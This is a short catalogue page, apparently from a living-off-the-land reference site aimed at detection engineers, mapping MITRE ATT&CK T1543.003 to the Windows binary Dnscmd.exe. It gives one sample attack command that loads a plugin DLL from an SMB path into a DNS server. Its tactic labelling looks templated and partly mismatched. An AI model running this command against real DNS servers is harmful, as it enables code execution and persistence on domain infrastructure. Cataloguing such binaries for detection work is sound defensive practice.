How many Living-off-the-Land Binaries abuse T1543.003?

LOLPulse tracks 1 verified living-off-the-land binaries across Windows, Linux, and macOS that adversaries can leverage to execute Technique T1543.003 (T1543.003).

How can detection engineers monitor for T1543.003?

Detection strategies involve correlating process command-line arguments, parent process lineage, and behavioral telemetry rules (KQL, Sigma, and Splunk) specifically authored for the binaries listed in this matrix.

T1543.003Tactic: Execution & Defense EvasionOfficial MITRE ATT&CK Page

T1543.003: Technique T1543.003

Adversaries may leverage living-off-the-land techniques (T1543.003) to achieve execution, evade defenses, or transfer tools.

Total Capable Binaries: 1

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Windows: 1

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Linux: 0

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macOS: 0

Living-off-the-Land Matrix for T1543.003

Across 1 verified binaries

Windows1 payloads

Dnscmd.exe

A command-line interface for managing DNS servers

Sample Attack Vector:

dnscmd.exe dc1.lab.int /config /serverlevelplugindll {PATH_SMB:.dll}

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Curated & Verified by

Sharon Ben Moshe

Cybersecurity Researcher & Detection Engineer • Check Point

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